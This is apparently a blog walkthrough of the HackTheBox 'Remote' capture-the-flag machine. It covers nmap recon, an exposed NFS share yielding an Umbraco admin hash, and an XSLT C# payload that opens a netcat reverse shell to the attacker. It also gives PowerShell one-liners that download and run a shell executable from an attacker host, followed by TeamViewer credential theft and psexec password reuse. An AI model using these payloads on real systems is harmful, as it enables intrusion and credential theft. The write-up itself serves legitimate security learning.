CTF Writeup | HackTheBox — Remote

4 min readJan 3, 2021

In 2020 (thanks to COVID lockdowns), I started working on HackTheBox challenges. It is too much fun! I finally got some time to go through my notes and decided to write this brief walkthrough to the Remote machine.

This is not going to be a detailed walkthrough, rather I am just going to skip over to most interesting findings. It goes without saying that there was hours of research between each stage and a lot of learning.

Starting off with an NMAP Scan:

ports=$(sudo nmap -p- — min-rate=1000 -T4 10.10.10.180 | grep ^[0–9] | cut -d ‘/’ -f 1 | tr ‘\n’ ‘,’ | sed s/,$//) sudo nmap -sC -sV -p$ports 10.10.10.180

We get a list of open ports and services:

PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Home — Acme Widgets 111/tcp open rpcbind 2–4 (RPC #100000) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 2049/tcp open mountd 1–3 (RPC #100005) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49678/tcp open msrpc Microsoft Windows RPC 49679/tcp open msrpc Microsoft Windows RPC 49680/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

As usual, I went through most of the well known ports to explore the attack surface:

Start dirbuster on web applications
Start manually browsing the web content
Attempt manual connections to ftp and mountd services
Fire up msfconsole and run some recon against netbios and rpc

I hit few interesting leads in the recon:

dirbuster found bunch of content on port 80

GENERATED WORDS: 4612

Umbraco is a CMS so I used a Umbraco discovery wordlist and discovered the login page

http://10.10.10.180/umbraco#/login/false?returnPath=%252Fumbraco

I was able to mount a volume using the mountd service

mount 10.10.10.180:/site_backups site_backups/

It contained a directory called App_data with file Umbraco.sdf. A quick google search reveals it’s a database file. Not sure how to open this file, I just drag and dropped it into my text editor and instantly noticed a plain text string in load of garbage

Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{“hashAlgorithm”:”SHA1"}

There it is, the SHA1 hash for the Umbraco Administrator’s password. But how do I crack it?

The easy way — well, I just googled crack SHA1 hash, in top results I see https://crackstation.net/, paste the hash into this website, and BAM! `baconandcheese` is the password! This gets us an admin login to the Umbraco CMS.

Umbraco: Remote Code Execution

Now we need to somehow get code execution. So I re-visited exploit-db and noticed Umbraco CMS 7.12.4 — (Authenticated) Remote Code Execution exploit. The word authenticated caught my eye and I was quite sure this exploit has to work. Of course, it didn’t work.
After bit of tinkering with the payload, I modified it to obtain a reverse shell using netcat back to my kali machine:

payload = ‘<?xml version=”1.0"?><xsl:stylesheet version=”1.0" \ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform" xmlns:msxsl=”urn:schemas-microsoft-com:xslt” \ xmlns:csharp_user=”http://csharp.mycompany.com/mynamespace">\ <msxsl:script language=”C#” implements-prefix=”csharp_user”>public string xml() \ { string cmd = “10.10.14.23:4449”; System.Diagnostics.Process proc = new System.Diagnostics.Process();\ proc.StartInfo.FileName = “nc.exe”; proc.StartInfo.Arguments = cmd;\ proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \ proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \ </msxsl:script><xsl:template match=”/”> <xsl:value-of select=”csharp_user:xml()”/>\ </xsl:template> </xsl:stylesheet> ‘

Got the user flag type c:\Users\Public\user.txt

Privilege Escalation

To achieve privilege escalation to root, I spent too much time looking around the system and finding missing patches, etc but no luck. Hmm, the name of the machine is `Remote` so there must be a remote access service that we can exploit. Did some service enumeration and found that TeamViewer is running. That’s probably the way in.

In Metasploit, I noticed windows/gather/credentials/teamviewer_passwords module. So I spent the time to now get a proper shell into my msfconsole.
Using powershell to download the reverse shell payload executable on the target machine and invoke it.

powershell -c “IEX(New-Object System.Net.WebClient).DownloadString(‘http://10.10.14.25:8000/rshell.exe');"

powershell.exe -command PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile(‘http://10.10.14.25:8000/rshell.exe',"$env:APPDATA\rshell.exe");Start-Process (“$env:APPDATA\rshell.exe”)

Once I had the session in msfconsole, I run the windows/gather/credentials/teamviewer_passwords module and we get the credentials

TeamViewer Client ID — 1769137322 Unattended Password: !R3m0te!

Now, I tried many ways to use these credentials to actually connect to the target machine using TeamViewer client but it did not work. I could not figure out what was going on. So I slept over it.
Next day, I was working and spent most of my day in video meetings with my colleagues. At one point, there were discussions about a phishing incident and re-using passwords. After tiring day of video calls, as I was recollecting my thoughts I realised the risks of **re-using passwords** and how it may be the trick in this HackTheBox challenge.
It would be too easy I said to myself, but decided to give it a try anyway. Fired up msfconsole,

msfconsole> use windows/smb/psexec msfconsole> set SMBUSer administrator msfconsole> set SMBPass !R3m0te!

msfconsole> exploit

It works! And as easy as that, we get the administrator access and the root flag!

CTF Writeup | HackTheBox — Remote

Starting off with an NMAP Scan:

Umbraco: Remote Code Execution

Privilege Escalation

Written by raj3shp

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